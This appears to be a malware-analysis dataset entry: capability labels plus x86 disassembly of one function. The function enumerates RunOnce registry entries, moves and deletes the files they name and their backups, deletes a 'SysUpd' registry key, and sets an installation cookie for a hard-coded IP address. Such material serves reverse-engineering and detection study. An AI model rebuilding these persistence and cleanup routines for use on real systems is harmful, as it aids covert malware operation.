Function at 0x401bc4
Capabilities:
Delete file
Delete registry key
Delete registry value
Move file
Persist via run registry key
Query or enumerate registry value
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4c
push ebx
push esi
push edi
mov esi, 0xc4
xor eax, eax
mov ecx, esi
lea edi, [ebp - 0xa4c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x228]
push eax
call fcn.004010a8
pop ecx
lea eax, [ebp - 0x228]
push eax
push 0x310
xor edi, edi
push edi
push 4
push edi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
jne 0x401c66
push edi
push edi
push edi
push 0xf001f
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, edi
je 0x401cc3
mov ecx, esi
mov esi, eax
lea edi, [ebp - 0xa4c]
push eax
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 4]
call ebx
and dword [ebp - 4], 0
lea eax, [ebp - 0x944]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor edi, edi
test eax, eax
jne 0x401cc3
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0x228]
push eax
call fcn.004017c1
pop ecx
lea eax, [ebp - 0x228]
push eax
push 0x310
push edi
push 4
push edi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push edi
push edi
push edi
push 0xf001f
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
cmp eax, edi
je 0x401cc3
mov esi, eax
mov ecx, 0xc4
lea edi, [ebp - 0xa4c]
push eax
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 4]
call ebx
xor edi, edi
lea eax, [ebp - 0xa48]
push eax
mov ebx, 0x406744
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call esi
test eax, eax
je 0x401cf7
push ebx
call esi
dec eax
cmp byte [eax + 0x406744], 0x2e
jne 0x401ce6
mov byte [eax + 0x406744], 0
push 0x404940
mov esi, 0x406758
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x228]
push eax
call fcn.00401126
lea eax, [ebp - 0x228]
push eax
call fcn.004013cc
pop ecx
pop ecx
call fcn.00401b13
call fcn.004017f9
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x20], 0x80000002
mov dword [ebp - 0x1c], 0x80000001
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x10]
push 0x2001f
push 0
push dword [ebp - 0xc]
push dword [ebp + eax*4 - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401ecc
mov dword [ebp - 4], 0x406744
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x124]
push eax
xor edi, edi
push edi
push edi
push dword [ebp - 4]
mov dword [ebp - 0x18], 0x104
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401eb2
lea eax, [ebp - 0x124]
push eax
call fcn.00401b94
pop ecx
jmp 0x401de1
cmp byte [ebp + 8], 0
je 0x401f90
lea eax, [ebp - 0x124]
push eax
call ebx
test eax, eax
jne 0x401f90
inc dword [ebp - 0x14]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x14], 5
jl 0x401db8
xor eax, eax
mov cl, byte [ebp + eax - 0x124]
mov byte [ebp + eax - 0x430], cl
inc eax
test cl, cl
jne 0x401de9
lea eax, [ebp - 0x430]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401e05
sub eax, edx
dec eax
cmp byte [ebp + eax - 0x430], 0x5c
jne 0x401e0e
cmp byte [ebp + 8], 0
lea edi, [ebp + eax - 0x42f]
mov esi, str.data.tmp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
je 0x401e42
lea eax, [ebp - 0x430]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x534]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.00401701
pop ecx
pop ecx
lea eax, [ebp - 0x534]
push eax
call ebx
push 0x2e
push 0
lea eax, [ebp - 0x534]
push eax
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
mov edi, eax
test edi, edi
je 0x401ea6
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
inc edi
push str.bak1
push edi
mov byte [edi], 0
call esi
lea eax, [ebp - 0x534]
push eax
call ebx
push str.bak2
push edi
mov byte [edi], 0
call esi
lea eax, [ebp - 0x534]
push eax
call ebx
push dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
add dword [ebp - 4], 0x14
cmp dword [ebp - 4], 0x40676c
jl 0x401d7f
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add dword [ebp - 0xc], 0x104
cmp dword [ebp - 0xc], 0x404720
jl 0x401d55
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jb 0x401d4e
pop edi
pop esi
xor eax, eax
pop ebx
mov cl, byte [eax + str.SOFTWAREMicrosoftSysUpd]
mov byte [ebp + eax - 0x32c], cl
inc eax
test cl, cl
jne 0x401ef2
lea eax, [ebp - 0x32c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401f0d
sub eax, edx
dec eax
cmp byte [ebp + eax - 0x32c], 0x5c
jne 0x401f16
mov byte [ebp + eax - 0x32c], 0
lea eax, [ebp + eax - 0x32b]
lea edx, [ebp - 0x73c]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x401f38
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x32c]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401f7c
lea eax, [ebp - 0x73c]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.Installation____expires__Sat__04_Jun_2005_00:00:00_GMT
push 0
push str.http:__203.199.200.61
call dword [sym.imp.WININET.dll_InternetSetCookieA]
leave
ret
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.00401701
pop ecx
pop ecx
lea eax, [ebp - 0x638]
push eax
call ebx
push 0x2e
push edi
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
mov esi, eax
cmp esi, edi
je 0x401ea6
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
inc esi
push str.bak1
push esi
mov byte [esi], 0
call edi
lea eax, [ebp - 0x638]
push eax
call ebx
push str.bak2
push esi
mov byte [esi], 0
call edi
lea eax, [ebp - 0x638]
jmp 0x401ea3